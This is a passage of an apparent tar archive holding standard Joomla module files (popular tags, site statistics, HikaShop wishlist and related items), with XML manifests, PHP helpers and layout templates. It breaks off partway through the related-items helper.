					<option value="1">JGLOBAL_ORDER_DESCENDING</option>
				</field>

				<field
					name="display_count"
					type="radio"
					label="MOD_TAGS_POPULAR_FIELD_DISPLAY_COUNT_LABEL"
					description="MOD_TAGS_POPULAR_FIELD_DISPLAY_COUNT_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="no_results_text"
					type="radio"
					label="MOD_TAGS_POPULAR_FIELD_NO_RESULTS_LABEL"
					description="MOD_TAGS_POPULAR_FIELD_NO_RESULTS_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>
			<fieldset
				name="cloud"
				label="MOD_TAGS_POPULAR_FIELDSET_CLOUD_LABEL"
			>
				<field
					name="minsize"
					type="number"
					label="MOD_TAGS_POPULAR_FIELD_MINSIZE_LABEL"
					description="MOD_TAGS_POPULAR_FIELD_MINSIZE_DESC"
					default="1"
					filter="float"
				/>

				<field
					name="maxsize"
					type="number"
					label="MOD_TAGS_POPULAR_FIELD_MAXSIZE_LABEL"
					description="MOD_TAGS_POPULAR_FIELD_MAXSIZE_DESC"
					default="2"
					filter="float"
				/>
			</fieldset>
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					description="JFIELD_ALT_MODULE_LAYOUT_DESC"
					default="_:default"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"
					rows="3"
				/>

				<field
					name="owncache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					description="COM_MODULES_FIELD_CACHING_DESC"
					default="1"
					filter="integer"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					description="COM_MODULES_FIELD_CACHE_TIME_DESC"
					default="900"
					filter="integer"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
mod_tags_popular/mod_tags_popular.php000064400000001765150746134720014175 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_tags_popular
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the tags_popular functions only once
JLoader::register('ModTagsPopularHelper', __DIR__ . '/helper.php');

$cacheparams = new stdClass;
$cacheparams->cachemode = 'safeuri';
$cacheparams->class = 'ModTagsPopularHelper';
$cacheparams->method = 'getList';
$cacheparams->methodparams = $params;
$cacheparams->modeparams = array('id' => 'array', 'Itemid' => 'int');

$list = JModuleHelper::moduleCache($module, $params, $cacheparams);

if (!count($list) && !$params->get('no_results_text'))
{
	return;
}

$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx', ''), ENT_COMPAT, 'UTF-8');
$display_count   = $params->get('display_count', 0);

require JModuleHelper::getLayoutPath('mod_tags_popular', $params->get('layout', 'default'));
mod_tags_popular/tmpl/cloud.php000064400000003164150746134720012713 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_tags_popular
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$minsize = $params->get('minsize', 1);
$maxsize = $params->get('maxsize', 2);

JLoader::register('TagsHelperRoute', JPATH_BASE . '/components/com_tags/helpers/route.php');
?>
<div class="tagspopular<?php echo $moduleclass_sfx; ?> tagscloud<?php echo $moduleclass_sfx; ?>">
<?php
if (!count($list)) : ?>
	<div class="alert alert-no-items"><?php echo JText::_('MOD_TAGS_POPULAR_NO_ITEMS_FOUND'); ?></div>
<?php else :
	// Find maximum and minimum count
	$mincount = null;
	$maxcount = null;
	foreach ($list as $item)
	{
		if ($mincount === null || $mincount > $item->count)
		{
			$mincount = $item->count;
		}
		if ($maxcount === null || $maxcount < $item->count)
		{
			$maxcount = $item->count;
		}
	}
	$countdiff = $maxcount - $mincount;

	foreach ($list as $item) :
		if ($countdiff === 0) :
			$fontsize = $minsize;
		else :
			$fontsize = $minsize + (($maxsize - $minsize) / $countdiff) * ($item->count - $mincount);
		endif;
?>
		<span class="tag">
			<a class="tag-name" style="font-size: <?php echo $fontsize . 'em'; ?>" href="<?php echo JRoute::_(TagsHelperRoute::getTagRoute($item->tag_id . ':' . $item->alias)); ?>">
				<?php echo htmlspecialchars($item->title, ENT_COMPAT, 'UTF-8'); ?></a>
			<?php if ($display_count) : ?>
				<span class="tag-count badge badge-info"><?php echo $item->count; ?></span>
			<?php endif; ?>
		</span>
	<?php endforeach; ?>
<?php endif; ?>
</div>
mod_tags_popular/tmpl/default.php000064400000001731150746134720013227 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_tags_popular
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

?>
<?php JLoader::register('TagsHelperRoute', JPATH_BASE . '/components/com_tags/helpers/route.php'); ?>
<div class="tagspopular<?php echo $moduleclass_sfx; ?>">
<?php if (!count($list)) : ?>
	<div class="alert alert-no-items"><?php echo JText::_('MOD_TAGS_POPULAR_NO_ITEMS_FOUND'); ?></div>
<?php else : ?>
	<ul>
	<?php foreach ($list as $item) : ?>
	<li>
		<a href="<?php echo JRoute::_(TagsHelperRoute::getTagRoute($item->tag_id . ':' . $item->alias)); ?>">
			<?php echo htmlspecialchars($item->title, ENT_COMPAT, 'UTF-8'); ?></a>
		<?php if ($display_count) : ?>
			<span class="tag-count badge badge-info"><?php echo $item->count; ?></span>
		<?php endif; ?>
	</li>
	<?php endforeach; ?>
	</ul>
<?php endif; ?>
</div>
mod_tags_popular/src/Helper/TagsPopularHelper.php000060400000011722150746134720016233 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_tags_popular
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\TagsPopular\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Helper\ContentHelper;
use Joomla\Database\ParameterType;

/**
 * Helper for mod_tags_popular
 *
 * @since  3.1
 */
abstract class TagsPopularHelper
{
	/**
	 * Get list of popular tags
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module parameters
	 *
	 * @return  mixed
	 *
	 * @since   3.1
	 */
	public static function getList(&$params)
	{
		$db          = Factory::getDbo();
		$user        = Factory::getUser();
		$groups      = $user->getAuthorisedViewLevels();
		$timeframe   = $params->get('timeframe', 'alltime');
		$maximum     = $params->get('maximum', 5);
		$order_value = $params->get('order_value', 'title');
		$nowDate     = Factory::getDate()->toSql();
		$nullDate    = $db->getNullDate();

		$query = $db->getQuery(true)
			->select(
				[
					'MAX(' . $db->quoteName('tag_id') . ') AS ' . $db->quoteName('tag_id'),
					'COUNT(*) AS ' . $db->quoteName('count'),
					'MAX(' . $db->quoteName('t.title') . ') AS ' . $db->quoteName('title'),
					'MAX(' . $db->quoteName('t.access') . ') AS ' . $db->quoteName('access'),
					'MAX(' . $db->quoteName('t.alias') . ') AS ' . $db->quoteName('alias'),
					'MAX(' . $db->quoteName('t.params') . ') AS ' . $db->quoteName('params'),
				]
			)
			->group($db->quoteName(['tag_id', 'title', 'access', 'alias']))
			->from($db->quoteName('#__contentitem_tag_map', 'm'))
			->whereIn($db->quoteName('t.access'), $groups);

		// Only return published tags
		$query->where($db->quoteName('t.published') . ' = 1 ');

		// Filter by Parent Tag
		$parentTags = $params->get('parentTag', []);

		if ($parentTags)
		{
			$query->whereIn($db->quoteName('t.parent_id'), $parentTags);
		}

		// Optionally filter on language
		$language = ComponentHelper::getParams('com_tags')->get('tag_list_language_filter', 'all');

		if ($language !== 'all')
		{
			if ($language === 'current_language')
			{
				$language = ContentHelper::getCurrentLanguage();
			}

			$query->whereIn($db->quoteName('t.language'), [$language, '*'], ParameterType::STRING);
		}

		if ($timeframe !== 'alltime')
		{
			$query->where($db->quoteName('tag_date') . ' > ' . $query->dateAdd($db->quote($nowDate), '-1', strtoupper($timeframe)));
		}

		$query->join('INNER', $db->quoteName('#__tags', 't'), $db->quoteName('tag_id') . ' = ' . $db->quoteName('t.id'))
			->join(
				'INNER', $db->quoteName('#__ucm_content', 'c'), $db->quoteName('m.core_content_id') . ' = ' . $db->quoteName('c.core_content_id')
			);

		$query->where($db->quoteName('m.type_alias') . ' = ' . $db->quoteName('c.core_type_alias'));

		// Only return tags connected to published and authorised items
		$query->where($db->quoteName('c.core_state') . ' = 1')
			->where(
				'(' . $db->quoteName('c.core_access') . ' IN (' . implode(',', $query->bindArray($groups)) . ')'
				. ' OR ' . $db->quoteName('c.core_access') . ' = 0)'
			)
			->where(
				'(' . $db->quoteName('c.core_publish_up') . ' IS NULL'
				. ' OR ' . $db->quoteName('c.core_publish_up') . ' = :nullDate2'
				. ' OR ' . $db->quoteName('c.core_publish_up') . ' <= :nowDate2)'
			)
			->where(
				'(' . $db->quoteName('c.core_publish_down') . ' IS NULL'
				. ' OR ' . $db->quoteName('c.core_publish_down') . ' = :nullDate3'
				. ' OR ' . $db->quoteName('c.core_publish_down') . ' >= :nowDate3)'
			)
			->bind([':nullDate2', ':nullDate3'], $nullDate)
			->bind([':nowDate2', ':nowDate3'], $nowDate);

		// Set query depending on order_value param
		if ($order_value === 'rand()')
		{
			$query->order($query->rand());
		}
		else
		{
			$order_direction = $params->get('order_direction', 1) ? 'DESC' : 'ASC';

			if ($params->get('order_value', 'title') === 'title')
			{
				// Backup bound parameters array of the original query
				$bounded = $query->getBounded();

				$query->setLimit($maximum);
				$query->order($db->quoteName('count') . ' DESC');
				$equery = $db->getQuery(true)
					->select(
						$db->quoteName(
							[
								'a.tag_id',
								'a.count',
								'a.title',
								'a.access',
								'a.alias',
							]
						)
					)
					->from('(' . (string) $query . ') AS ' . $db->quoteName('a'))
					->order($db->quoteName('a.title') . ' ' . $order_direction);

				$query = $equery;

				// Rebind parameters
				foreach ($bounded as $key => $obj)
				{
					$query->bind($key, $obj->value, $obj->dataType);
				}
			}
			else
			{
				$query->order($db->quoteName($order_value) . ' ' . $order_direction);
			}
		}

		$query->setLimit($maximum, 0);
		$db->setQuery($query);

		try
		{
			$results = $db->loadObjectList();
		}
		catch (\RuntimeException $e)
		{
			$results = array();
			Factory::getApplication()->enqueueMessage($e->getMessage(), 'error');
		}

		return $results;
	}
}
index.html000064400000000037150746134720006552 0ustar00<!DOCTYPE html><title></title>
mod_stats/tmpl/default.php000064400000000703150746134720011663 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_stats
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<dl class="stats-module<?php echo $moduleclass_sfx; ?>">
<?php foreach ($list as $item) : ?>
	<dt><?php echo $item->title; ?></dt>
	<dd><?php echo $item->data; ?></dd>
<?php endforeach; ?>
</dl>
mod_stats/src/Helper/StatsHelper.php000060400000007717150746134720013537 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_stats
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\Stats\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\Component\Content\Administrator\Extension\ContentComponent;

/**
 * Helper for mod_stats
 *
 * @since  1.5
 */
class StatsHelper
{
	/**
	 * Get list of stats
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module parameters
	 *
	 * @return  array
	 */
	public static function &getList(&$params)
	{
		$app        = Factory::getApplication();
		$db         = Factory::getDbo();
		$rows       = array();
		$query      = $db->getQuery(true);
		$serverinfo = $params->get('serverinfo', 0);
		$siteinfo   = $params->get('siteinfo', 0);
		$counter    = $params->get('counter', 0);
		$increase   = $params->get('increase', 0);

		$i = 0;

		if ($serverinfo)
		{
			$rows[$i] = new \stdClass;
			$rows[$i]->title = Text::_('MOD_STATS_OS');
			$rows[$i]->data  = substr(php_uname(), 0, 7);
			$i++;

			$rows[$i] = new \stdClass;
			$rows[$i]->title = Text::_('MOD_STATS_PHP');
			$rows[$i]->data  = PHP_VERSION;
			$i++;

			$rows[$i] = new \stdClass;
			$rows[$i]->title = Text::_($db->name);
			$rows[$i]->data  = $db->getVersion();
			$i++;

			$rows[$i] = new \stdClass;
			$rows[$i]->title = Text::_('MOD_STATS_TIME');
			$rows[$i]->data  = HTMLHelper::_('date', 'now', 'H:i');
			$i++;

			$rows[$i] = new \stdClass;
			$rows[$i]->title = Text::_('MOD_STATS_CACHING');
			$rows[$i]->data  = $app->get('caching') ? Text::_('JENABLED') : Text::_('JDISABLED');
			$i++;

			$rows[$i] = new \stdClass;
			$rows[$i]->title = Text::_('MOD_STATS_GZIP');
			$rows[$i]->data  = $app->get('gzip') ? Text::_('JENABLED') : Text::_('JDISABLED');
			$i++;
		}

		if ($siteinfo)
		{
			$query->select('COUNT(' . $db->quoteName('id') . ') AS count_users')
				->from($db->quoteName('#__users'));
			$db->setQuery($query);

			try
			{
				$users = $db->loadResult();
			}
			catch (\RuntimeException $e)
			{
				$users = false;
			}

			$query->clear()
				->select('COUNT(' . $db->quoteName('c.id') . ') AS count_items')
				->from($db->quoteName('#__content', 'c'))
				->where($db->quoteName('c.state') . ' = ' . ContentComponent::CONDITION_PUBLISHED);
			$db->setQuery($query);

			try
			{
				$items = $db->loadResult();
			}
			catch (\RuntimeException $e)
			{
				$items = false;
			}

			if ($users)
			{
				$rows[$i] = new \stdClass;
				$rows[$i]->title = Text::_('MOD_STATS_USERS');
				$rows[$i]->data  = $users;
				$i++;
			}

			if ($items)
			{
				$rows[$i] = new \stdClass;
				$rows[$i]->title = Text::_('MOD_STATS_ARTICLES');
				$rows[$i]->data  = $items;
				$i++;
			}
		}

		if ($counter)
		{
			$query->clear()
				->select('SUM(' . $db->quoteName('hits') . ') AS count_hits')
				->from($db->quoteName('#__content'))
				->where($db->quoteName('state') . ' = ' . ContentComponent::CONDITION_PUBLISHED);
			$db->setQuery($query);

			try
			{
				$hits = $db->loadResult();
			}
			catch (\RuntimeException $e)
			{
				$hits = false;
			}

			if ($hits)
			{
				$rows[$i] = new \stdClass;
				$rows[$i]->title = Text::_('MOD_STATS_ARTICLES_VIEW_HITS');
				$rows[$i]->data  = $hits + $increase;
				$i++;
			}
		}

		// Include additional data defined by published system plugins
		PluginHelper::importPlugin('system');

		$arrays = (array) $app->triggerEvent('onGetStats', array('mod_stats'));

		foreach ($arrays as $response)
		{
			foreach ($response as $row)
			{
				// We only add a row if the title and data are given
				if (isset($row['title']) && isset($row['data']))
				{
					$rows[$i]        = new \stdClass;
					$rows[$i]->title = $row['title'];
					$rows[$i]->icon  = $row['icon'] ?? 'info';
					$rows[$i]->data  = $row['data'];
					$i++;
				}
			}
		}

		return $rows;
	}
}
mod_stats/mod_stats.php000064400000001270150746134720011260 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_stats
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the statistics functions only once
JLoader::register('ModStatsHelper', __DIR__ . '/helper.php');

$serverinfo      = $params->get('serverinfo', 0);
$siteinfo        = $params->get('siteinfo', 0);
$list            = ModStatsHelper::getList($params);
$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx', ''), ENT_COMPAT, 'UTF-8');

require JModuleHelper::getLayoutPath('mod_stats', $params->get('layout', 'default'));
mod_stats/mod_stats.xml000064400000006155150746134720011300 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.1" client="site" method="upgrade">
	<name>mod_stats</name>
	<author>Joomla! Project</author>
	<creationDate>July 2004</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_STATS_XML_DESCRIPTION</description>
	<files>
		<filename module="mod_stats">mod_stats.php</filename>
		<folder>tmpl</folder>
		<filename>helper.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.mod_stats.ini</language>
		<language tag="en-GB">en-GB.mod_stats.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_STATISTICS" />
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="serverinfo"
					type="radio"
					label="MOD_STATS_FIELD_SERVERINFO_LABEL"
					description="MOD_STATS_FIELD_SERVERINFO_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="siteinfo"
					type="radio"
					label="MOD_STATS_FIELD_SITEINFO_LABEL"
					description="MOD_STATS_FIELD_SITEINFO_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="counter"
					type="radio"
					label="MOD_STATS_FIELD_COUNTER_LABEL"
					description="MOD_STATS_FIELD_COUNTER_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="increase"
					type="number"
					label="MOD_STATS_FIELD_INCREASECOUNTER_LABEL"
					description="MOD_STATS_FIELD_INCREASECOUNTER_DESC"
					default="0"
					filter="integer"
				/>
			</fieldset>
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					description="JFIELD_ALT_MODULE_LAYOUT_DESC"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"
					rows="3"
				/>

				<field
					name="cache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					description="COM_MODULES_FIELD_CACHING_DESC"
					default="1"
					filter="integer"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					description="COM_MODULES_FIELD_CACHE_TIME_DESC"
					default="900"
					filter="integer"
				/>

				<field
					name="cachemode"
					type="hidden"
					default="static"
					>
					<option value="static"></option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
mod_hikashop_wishlist/mod_hikashop_wishlist.xml000064400000003110150746134720016260 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="2.5" method="upgrade">
	<name>Hikashop Wishlist Module</name>
	<creationDate>29 avril 2022</creationDate>
	<version>4.5.1</version>
	<author>Hikari Software</author>
	<authorEmail>dev@hikashop.com</authorEmail>
	<authorUrl>http://www.hikashop.com</authorUrl>
	<copyright>(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.</copyright>
	<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
	<description>Wishlist display for Hikashop</description>
	<files>
		<filename module="mod_hikashop_wishlist">mod_hikashop_wishlist.php</filename>
		<filename>index.html</filename>
		<folder>tmpl</folder>
	</files>
	<params addpath="/components/com_hikashop/params">
		<param name="hikashopwishlistmodule" type="hikashopmodule" default="module" label="hikashop" description="HikaShop options" />
		<param name="moduleclass_sfx" type="text" default="" label="Module Class Suffix" description="PARAMMODULECLASSSUFFIX" />
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_hikashop/fields">
			<fieldset name="basic">
				<field
					name="moduleclass_sfx"
					type="text"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC" />
			</fieldset>
			<fieldset name="hk_options" label="Hikashop Options">
				<field
					id="hikashopmodule"
					name="hikashopwishlistmodule"
					type="hikashopmodule"
					label="hikashop"
					description="HikaShop options" />
			</fieldset>
		</fields>
	</config>
</extension>
mod_hikashop_wishlist/mod_hikashop_wishlist.php000064400000004033150746134720016254 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
if(!defined('DS'))
	define('DS', DIRECTORY_SEPARATOR);
if(!include_once(rtrim(JPATH_ADMINISTRATOR,DS).DS.'components'.DS.'com_hikashop'.DS.'helpers'.DS.'helper.php')){
	echo 'This module can not work without the Hikashop Component';
	return;
};
$config =& hikashop_config();
if(!$config->get('enable_wishlist')){
	echo 'This module can not work, wishlists are not enabled';
	return;
}
$js ='';
$params->set('from_module',$module->id);
hikashop_initModule();

$module_options = $config->get('params_'.$module->id);
if(empty($module_options)){
	$module_options = $config->get('default_params');
}

$data = $params->get('hikashopwishlistmodule');
if(HIKASHOP_J30 && (empty($data) || !is_object($data))){
	$db = JFactory::getDBO();
	$query = 'SELECT params FROM '.hikashop_table('modules',false).' WHERE id = '.(int)$module->id;
	$db->setQuery($query);
	$itemData = json_decode($db->loadResult());
	if(!empty($itemData->hikashopwishlistmodule) && is_object($itemData->hikashopwishlistmodule)){
		$data = $itemData->hikashopwishlistmodule;
		$params->set('hikashopwishlistmodule',$data);
	}
}
if(!empty($data) && is_object($data)){
	foreach($data as $k => $v){
		$module_options[$k] = $v;
	}
}

foreach($module_options as $key => $option){
	if($key !='moduleclass_sfx'){
		$params->set($key,$option);
	}
}
foreach(get_object_vars($module) as $k => $v){
	if(!is_object($v) && $params->get($k,null)==null){
		$params->set($k,$v);
	}
}

$moduleClass = hikashop_get('class.modules');
if($moduleClass->restrictedModule($params) === false)
	return;

$params->set('cart_type','wishlist');
$params->set('from','module');
$html = trim(hikashop_getLayout('product','cart',$params,$js));
require(JModuleHelper::getLayoutPath('mod_hikashop_wishlist'));
mod_hikashop_wishlist/tmpl/default.php000064400000001022150746134720014254 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
if(!empty($html)){
?>
<div class="hikashop_wishlist_module <?php echo  (!empty($module->params) && is_array($module->params) ? @$module->params['moduleclass_sfx'] : ''); ?>" id="hikashop_wishlist_module">
<?php echo $html; ?>
</div>
<?php }
mod_hikashop_wishlist/tmpl/index.html000064400000000054150746134720014120 0ustar00<html><body bgcolor="#FFFFFF"></body></html>mod_hikashop_wishlist/index.html000064400000000054150746134720013144 0ustar00<html><body bgcolor="#FFFFFF"></body></html>mod_related_items/mod_related_items.php000064400000001717150746134720014434 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_related_items
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the related items functions only once
JLoader::register('ModRelatedItemsHelper', __DIR__ . '/helper.php');

$cacheparams = new stdClass;
$cacheparams->cachemode = 'safeuri';
$cacheparams->class = 'ModRelatedItemsHelper';
$cacheparams->method = 'getList';
$cacheparams->methodparams = $params;
$cacheparams->modeparams = array('id' => 'int', 'Itemid' => 'int');

$list = JModuleHelper::moduleCache($module, $params, $cacheparams);

if (!count($list))
{
	return;
}

$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx', ''), ENT_COMPAT, 'UTF-8');
$showDate        = $params->get('showDate', 0);

require JModuleHelper::getLayoutPath('mod_related_items', $params->get('layout', 'default'));
mod_related_items/mod_related_items.xml000064400000004621150746134720014442 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.1" client="site" method="upgrade">
	<name>mod_related_items</name>
	<author>Joomla! Project</author>
	<creationDate>July 2004</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_RELATED_XML_DESCRIPTION</description>
	<files>
		<filename module="mod_related_items">mod_related_items.php</filename>
		<folder>tmpl</folder>
		<filename>helper.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.mod_related_items.ini</language>
		<language tag="en-GB">en-GB.mod_related_items.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_RELATED" />
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="showDate"
					type="radio"
					label="MOD_RELATED_FIELD_SHOWDATE_LABEL"
					description="MOD_RELATED_FIELD_SHOWDATE_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="maximum"
					type="number"
					label="MOD_RELATED_FIELD_MAX_LABEL"
					description="MOD_RELATED_FIELD_MAX_DESC"
					default="5"
					filter="integer"
				/>
			</fieldset>
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					description="JFIELD_ALT_MODULE_LAYOUT_DESC"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"
					rows="3"
				/>

				<field
					name="owncache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					description="COM_MODULES_FIELD_CACHING_DESC"
					default="1"
					filter="integer"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					description="COM_MODULES_FIELD_CACHE_TIME_DESC"
					default="900"
					filter="integer"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
mod_related_items/tmpl/default.php000064400000001104150746134720013342 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_related_items
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<ul class="relateditems<?php echo $moduleclass_sfx; ?> mod-list">
<?php foreach ($list as $item) : ?>
<li>
	<a href="<?php echo $item->route; ?>">
		<?php if ($showDate) echo JHtml::_('date', $item->created, JText::_('DATE_FORMAT_LC4')) . ' - '; ?>
		<?php echo $item->title; ?></a>
</li>
<?php endforeach; ?>
</ul>
mod_related_items/src/Helper/RelatedItemsHelper.php000060400000011063150746134720016473 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_related_items
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\RelatedItems\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Content\Administrator\Extension\ContentComponent;
use Joomla\Component\Content\Site\Helper\RouteHelper;
use Joomla\Database\ParameterType;

/**
 * Helper for mod_related_items
 *
 * @since  1.5
 */
abstract class RelatedItemsHelper
{
	/**
	 * Get a list of related articles
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module parameters
	 *
	 * @return  array
	 */
	public static function getList(&$params)
	{
		$db        = Factory::getDbo();
		$app       = Factory::getApplication();
		$input     = $app->input;
		$groups    = Factory::getUser()->getAuthorisedViewLevels();
		$maximum   = (int) $params->get('maximum', 5);
		$factory   = $app->bootComponent('com_content')->getMVCFactory();

		// Get an instance of the generic articles model
		/** @var \Joomla\Component\Content\Site\Model\ArticlesModel $articles */
		$articles = $factory->createModel('Articles', 'Site', ['ignore_request' => true]);

		// Set application parameters in model
		$articles->setState('params', $app->getParams());

		$option = $input->get('option');
		$view   = $input->get('view');

		if (!($option === 'com_content' && $view === 'article'))
		{
			return [];
		}

		$temp = $input->getString('id');
		$temp = explode(':', $temp);
		$id   = (int) $temp[0];

		$now      = Factory::getDate()->toSql();
		$related  = [];
		$query    = $db->getQuery(true);

		if ($id)
		{
			// Select the meta keywords from the item
			$query->select($db->quoteName('metakey'))
				->from($db->quoteName('#__content'))
				->where($db->quoteName('id') . ' = :id')
				->bind(':id', $id, ParameterType::INTEGER);
			$db->setQuery($query);

			try
			{
				$metakey = trim($db->loadResult());
			}
			catch (\RuntimeException $e)
			{
